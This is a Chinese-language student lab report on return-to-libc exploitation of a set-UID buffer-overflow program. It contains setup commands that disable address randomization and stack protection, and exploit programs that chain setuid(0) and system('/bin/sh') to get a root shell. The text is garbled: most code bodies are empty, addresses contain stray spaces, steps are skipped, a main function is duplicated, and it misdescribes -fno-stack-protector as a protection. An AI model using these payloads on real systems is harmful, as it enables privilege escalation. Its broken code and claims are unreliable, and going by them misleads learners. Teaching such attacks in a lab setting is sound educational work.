第一部分 实验背景
第二部分 实验目的
备注:Fedora系统默认具有栈不可执行的保护机制,我们实验用的Ubuntu系统默认没有这种机制。
第三部分 实验内容
漏洞程序:
// retlib.c
// This program has a buffer overflow vulnerability.
// Our task is to exploit this vulnerability
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(FILE *badfile)
{
//
}
int main(int argc, char **argv)
{
}
3.1 利用漏洞
分析:
下图是return-to-libc的调用栈格式如下:
<- stack grows this way
------------------------------------------------------------------------------
| buffer fill-up | f1 | pop-ret | f1_arg | f2 | dmm | f2_arg1 | f2_arg2 ...
------------------------------------------------------------------------------
从图中我们可以看出,我们应该在bof的返回地址(即&buf[16])处放置system的入口地址,system的参数的地址放在与入口地址相隔四个字节的位置(即&buf[24]),中间的这四个字节应该放置exit函数的入口地址,这样这在system函数执行完毕之后,就会调用exit函数。
攻击程序:
//exploit_1.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
}
攻击过程:
第一步 编译程序
sudo sysctl -w kernel.randomize_va_space=0
gcc -fno-stack-protector -o retlib retlib.c
sudo chown root:root retlib
sudo chmod 4755 retlib
第二步 把system的放置在环境变量BIN_SH中,然后获取BIN的地址,同时用GDB获取system和exit的地址
第四步 攻击
备注:
上面的实验实在/bin/sh指向zsh的情况下进行的,如果/bin/sh指向bash则上述的实验是获取不到root权限的,因为bash内置了权限降低的机制,虽然我们可以使得bof返回时执行system(“/bin/sh”);但是我们也获取不到root权限。
示意图如下:
3.2 /bin/sh指向bash时的攻击
分析:
在/bin/sh指向bash的情况下,我们如果能在调用/bin/ bash之前提升正在运行的进程的Set-UID至root权限,那么我们就可以绕过对bash的权限限制,幸运的是系统函数setuid(0)可以实现我们的目标,所以我们可以在调用系统函数system(“/bin/sh”)之前,先调用系统函数setuid(0)来提升权限。
我们攻击代码应该这样修改:
在bof的返回地址处(&buf[16])写入setuid()的地址,setuid的参数0写在与其入口地址相隔一个字的位置(即buf[24])处(因为setuid()执行完毕之后,会转向存放setuid入口地址的下一个位置,所以这个位置应该放入system函数的入口地址),同理system的参数放入&buf[28]处。
攻击代码如下:
//exploit_2.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen("./badfile", "w");
strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 16 times
*(long *) &buf[20] = 0xb7ea88b0 ; // system()
*(long *) &buf[28] = 0xbffffe43; // address of "/bin/sh"
*(long *) &buf[16] = 0xb 7f0f620 ; // setuid()
*(long *) &buf[24] = 0; // parameter for setuid
/
}
int main(int argc, char **argv)
{
}
3.3 在第二题的基础上,调用setuid(0)之前嵌入调用system(“/usr/bin/id”)
为了能够调用system(“/usr/bin/id”),需要在漏洞程序中添加这么一条指令:
int someint=0xc 304c483; //add 4, $esp
(具体分析通上一题)
攻击代码如下:
// exploit_3.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[60];
FILE *badfile;
badfile = fopen("./badfile", "w");
strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 16 times
*(long *) &buf[16] = 0xb7ea88b0;
*(long *) &buf[24] = 0xbffffe9f;
*(long *) &buf[20] = 0x0804a024;
*(long *) &buf[32] = 0xb7ea88b0;
*(long *) &buf[40] = 0xbffffe28;
*(long *) &buf[28] = 0xb7f0f620;
*(long *) &buf[36] = 0;
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
}
攻击示意图:
实验小结:
Ubuntu的地址随机化机制使得我们获取漏洞函数的返回地址和存放Shellcode地址困难许多,并且Ubuntu系统的缓冲区溢出保护机制(即-fno-stack-protector)对缓冲区的溢出进行保护,也使得这种攻击方法变得更加困难。
参考资料:
http://www.phrack.org/issues.html?issue=58&id=4#article
致谢:
3.3题中的0xc304c483; //add 4, $esp请教了Guo Linlin,I appreciate the help of her greatly!
附注:
//getenvaaddr.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
//argv[0]:正在执行的程序名称,本程序中:getenvaaddr
//argv[1]:shellcode 变量名
//argv[2]:即将执行的漏洞程序的名称(包括路径),本程序中:./got_vul
//Linux ubuntu 系统中已经验证两者名称差一个字符,就会有两个字节的地址偏移
}